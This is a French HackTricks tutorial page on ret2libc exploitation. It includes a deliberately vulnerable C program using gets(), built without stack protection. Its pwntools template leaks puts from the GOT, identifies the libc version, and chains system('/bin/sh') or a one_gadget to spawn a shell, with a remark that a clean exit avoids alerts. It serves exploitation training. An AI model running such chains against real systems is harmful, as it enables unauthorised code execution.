Fuite de l'adresse libc avec ROP
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Résumé rapide
- Trouver l'offset de débordement
- Trouver le gadget
POP_RDI
, les gadgetsPUTS_PLT
etMAIN
- Utiliser les gadgets précédents pour fuir l'adresse mémoire de puts ou d'une autre fonction libc et trouver la version de libc (téléchargez-le)
- Avec la bibliothèque, calculer le ROP et l'exploiter
Autres tutoriels et binaires pour pratiquer
Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Autres tutoriels utiles : https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Code
Nom de fichier : vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Modèle de fuite de LIBC
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :
1- Trouver l'offset
Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut OFFSET = ""
) :
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Exécutez python template.py
, une console GDB s'ouvrira avec le programme en cours de plantage. Dans cette console GDB, exécutez x/wx $rsp
pour obtenir les octets qui allaient écraser le RIP. Enfin, obtenez le décalage en utilisant une console python :
from pwn import *
cyclic_find(0x6161616b)
Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.
OFFSET = "A" * 40
Une autre façon serait d'utiliser : pattern create 1000
-- exécuter jusqu'à ret -- pattern seach $rsp
depuis GEF.
2- Trouver des Gadgets
Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler puts
afin de trouver la libc utilisée, et plus tard pour lancer l'exploit final.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Le PUTS_PLT
est nécessaire pour appeler la fonction puts.
Le MAIN_PLT
est nécessaire pour rappeler la fonction main après une interaction pour exploiter le débordement à nouveau (tours d'exploitation infinies). Il est utilisé à la fin de chaque ROP pour rappeler le programme.
Le POP_RDI est nécessaire pour passer un paramètre à la fonction appelée.
À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.
3- Trouver la bibliothèque libc
Il est maintenant temps de trouver quelle version de la libc est utilisée. Pour ce faire, nous allons leaker l'adresse en mémoire de la fonction puts
et ensuite nous allons chercher dans quelle version de la bibliothèque se trouve la version de puts à cette adresse.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Pour ce faire, la ligne la plus importante du code exécuté est :
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Cela enverra quelques octets jusqu'à ce que l'écrasement du RIP soit possible : OFFSET
.
Ensuite, il définira l'adresse du gadget POP_RDI
afin que la prochaine adresse (FUNC_GOT
) soit enregistrée dans le registre RDI. C'est parce que nous voulons appeler puts en passant l'adresse de PUTS_GOT
car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par PUTS_GOT
.
Après cela, PUTS_PLT
sera appelé (avec PUTS_GOT
à l'intérieur du RDI) afin que puts lise le contenu à l'intérieur de PUTS_GOT
(l'adresse de la fonction puts en mémoire) et l'affiche.
Enfin, la fonction main est appelée à nouveau afin que nous puissions exploiter le débordement à nouveau.
De cette manière, nous avons trompé la fonction puts pour afficher l'adresse en mémoire de la fonction puts (qui se trouve dans la bibliothèque libc). Maintenant que nous avons cette adresse, nous pouvons chercher quelle version de libc est utilisée.
Comme nous exploitons un binaire local, il n'est pas nécessaire de déterminer quelle version de libc est utilisée (il suffit de trouver la bibliothèque dans /lib/x86_64-linux-gnu/libc.so.6
).
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :
3.1- Recherche de la version de libc (1)
Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : https://libc.blukat.me/
Cela vous permettra également de télécharger la version découverte de libc
3.2- Recherche de la version de libc (2)
Vous pouvez également faire :
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Cela prendra un certain temps, soyez patient.
Pour que cela fonctionne, nous avons besoin de :
- Nom du symbole libc :
puts
- Adresse libc divulguée :
0x7ff629878690
Nous pouvons déterminer quelle libc est très probablement utilisée.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Copiez la libc depuis libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
vers notre répertoire de travail.
3.3- Autres fonctions à leak
puts
printf
__libc_start_main
read
gets
4- Trouver l'adresse libc basée et exploiter
À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, j'utiliserai simplement : /lib/x86_64-linux-gnu/libc.so.6
Donc, au début de template.py
, changez la variable libc en : libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque quand on le connaît
En donnant le chemin à la bibliothèque libc, le reste de l'exploit va être automatiquement calculé.
À l'intérieur de la fonction get_addr
, l'adresse de base de libc va être calculée :
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Notez que l'adresse de base finale de libc doit se terminer par 00. Si ce n'est pas votre cas, vous pourriez avoir fuité une bibliothèque incorrecte.
Ensuite, l'adresse de la fonction system
et l'adresse de la chaîne "/bin/sh" vont être calculées à partir de l'adresse de base de libc et données la bibliothèque libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé :
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Expliquons ce dernier ROP.
Le dernier ROP (rop1
) a de nouveau appelé la fonction principale, puis nous pouvons exploiter à nouveau le débordement (c'est pourquoi l'OFFSET
est ici encore). Ensuite, nous voulons appeler POP_RDI
en pointant vers l'adresse de "/bin/sh" (BINSH
) et appeler la fonction system (SYSTEM
) car l'adresse de "/bin/sh" sera passée en paramètre.
Enfin, l'adresse de la fonction exit est appelée afin que le processus se termine proprement et qu'aucune alerte ne soit générée.
De cette façon, l'exploit exécutera un _/bin/sh_** shell.**
4(2)- Utiliser ONE_GADGET
Vous pouvez également utiliser ONE_GADGET pour obtenir un shell au lieu d'utiliser system et "/bin/sh". ONE_GADGET trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une adresse ROP.
Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme [rsp+0x30] == NULL
. Comme vous contrôlez les valeurs à l'intérieur de RSP, vous devez simplement envoyer quelques valeurs NULL supplémentaires afin d'éviter la contrainte.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
FICHIER D'EXPLOITATION
Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici :
Problèmes courants
MAIN_PLT = elf.symbols['main'] non trouvé
Si le symbole "main" n'existe pas. Alors vous pouvez trouver où se trouve le code principal :
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
et définissez l'adresse manuellement :
MAIN_PLT = 0x401080
Puts non trouvé
Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise
sh: 1: %s%s%s%s%s%s%s%s: non trouvé
Si vous trouvez cette erreur après avoir créé tous les exploits : sh: 1: %s%s%s%s%s%s%s%s: non trouvé
Essayez de soustraire 64 octets à l'adresse de "/bin/sh" :
BINSH = next(libc.search("/bin/sh")) - 64
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.